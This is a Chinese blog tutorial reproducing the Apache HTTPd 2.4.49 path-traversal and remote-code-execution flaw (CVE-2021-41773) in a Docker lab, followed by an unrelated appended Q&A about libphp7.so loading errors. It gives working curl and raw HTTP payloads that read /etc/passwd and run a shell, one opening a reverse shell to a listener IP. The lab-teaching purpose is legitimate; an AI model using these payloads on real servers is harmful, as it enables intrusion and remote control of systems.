Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞复现详细教程

一、漏洞描述

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

1、版本等于2.4.49
2、Require all granted(默认情况下是允许被访问的)。

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

二、影响版本

Apache HTTP Server 2.4.49

三、靶场准备

本实验使用vulhub环境,节约搭建时间

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写

在这里插入图片描述
DockerFile文件内容:

FROM httpd:2.4.49

RUN set -ex \
    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
    && cat /usr/local/apache2/conf/httpd.conf \
        | tr '\n' '\r' \
        | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \
        | tr '\r' '\n' \
        | tee /tmp/httpd.conf \
    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

接下来在 Dockerfile 文件的存放目录下,执行构建动作。
以下示例,通过目录下的 Dockerfile 构建一个 httpd:2.4.49rce(镜像名称:镜像标签)。

注:最后的 . 代表本次执行的上下文路径。

docker build -t  httpd:2.4.49rce .

在这里插入图片描述
在这里插入图片描述

运行docker

docker run  -d -p 85:80 httpd:2.4.49rce

在这里插入图片描述
之后就可以通过浏览器访问量(如果浏览器访问不了,重新启动实验机后再启动docker就可以解决该问题)
在这里插入图片描述

四、POC测试

目录遍历POC:

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

在这里插入图片描述
在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)

远程代码执行POC:

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

或者

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8

echo;pwd

在这里插入图片描述
另外有检测工具,可以直接检测和getshell:
在这里插入图片描述
在这里插入图片描述

五、漏洞修复

升级到Apache HTTP Server最新版本。

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: kylin Linux是一款基于开源操作系统的发行版,通常用于服务器和企业级应用。而Apache是一款广泛使用的开源Web服务器软件,用于托管和运行网站。 在加载libphp7.so时如果失败,可能是由以下几个原因引起的: 1. 缺少或损坏的依赖库:libphp7.so是PHP的扩展库,它依赖于其他一些库文件。如果这些库文件缺失或损坏,加载就会失败。可以通过使用命令"ldd libphp7.so"来检查依赖库是否存在,并重新安装这些依赖库来解决该问题。 2. PHP版本不兼容:libphp7.so是用于PHP 7版本的扩展库,如果在安装此库之前安装了其他版本的PHP,则可能导致加载失败。在此情况下,您可以尝试卸载旧的PHP版本并安装与libphp7.so兼容的PHP 7。 3. 配置错误:Apache的配置文件中可能存在一些错误,导致libphp7.so加载失败。您可以检查Apache的配置文件,确保在LoadModule指令中正确指定了libphp7.so的路径,并且没有其他冲突的指令。 4. 权限问题:可能是因为libphp7.so所在的目录或文件没有足够的权限,导致加载失败。您可以使用chmod命令为目录和文件设置正确的权限,确保Apache可以访问并加载libphp7.so。 综上所述,如果在Kylin Linux中加载libphp7.so失败,您可以依次检查依赖库、PHP版本、配置和权限等因素,找到问题的原因并采取相应的解决措施来修复该错误。 ### 回答2: 在Kylin Linux中,当尝试加载libphp7.so时,可能会遇到加载失败的问题。这种情况通常是由于几种可能的原因引起的。 首先,确保已正确安装Apache服务器和PHP解释器,并且版本相互兼容。检查Apache的错误日志以获得更多详细信息,可能会提供有关加载失败的原因的线索。 其次,需要确保libphp7.so文件存在于正确的位置。在Kylin Linux中,通常位于默认的PHP模块目录或Apache模块目录下。而具体的路径可能因安装方式而有所不同。 此外,还需要检查libphp7.so文件的权限设置是否正确,确保Apache进程具有读取和执行此文件的权限。可以使用chmod命令更改文件的权限: sudo chmod 755 /path/to/libphp7.so 最后,如果加载libphp7.so时出现其他错误,还可以尝试重新编译PHP和Apache,确保编译选项正确设置并重新安装PHP模块。 总之,当在Kylin Linux上尝试加载libphp7.so时,需要仔细检查安装和配置是否正确,并确保相关文件的位置和权限设置正确。如果问题仍然存在,可能需要尝试其他解决方案或寻求进一步的技术支持。 ### 回答3: kylin linux apahce 加载 libphp7.so 失败可能是由以下几个原因导致: 1. 缺少libphp7.so文件:首先需要确保libphp7.so文件已经正确安装在系统中。如果该文件不存在或未能正确安装,可能需要重新安装php或者手动下载并安装缺失的libphp7.so文件。 2. 文件路径错误:当apache在启动时无法找到libphp7.so文件的正确路径时,会导致加载失败。请确保配置文件中指定的加载路径是正确的,并且与实际的libphp7.so文件路径一致。 3. 权限问题:确保libphp7.so文件及其所在的目录具有足够的权限,以供apache加载。可以尝试为该文件及其所在目录设置合适的权限,以解决加载失败的问题。 4. 版本兼容性问题:某些情况下,libphp7.so文件与当前安装的apache版本不兼容,可能会导致加载失败。请确保安装的libphp7.so文件与当前的apache版本兼容,并且正确匹配。 如果按以上方法排查后仍然无法解决问题,建议查看错误日志以获取更详细的错误信息,以便进一步调查和解决问题。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W小哥1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值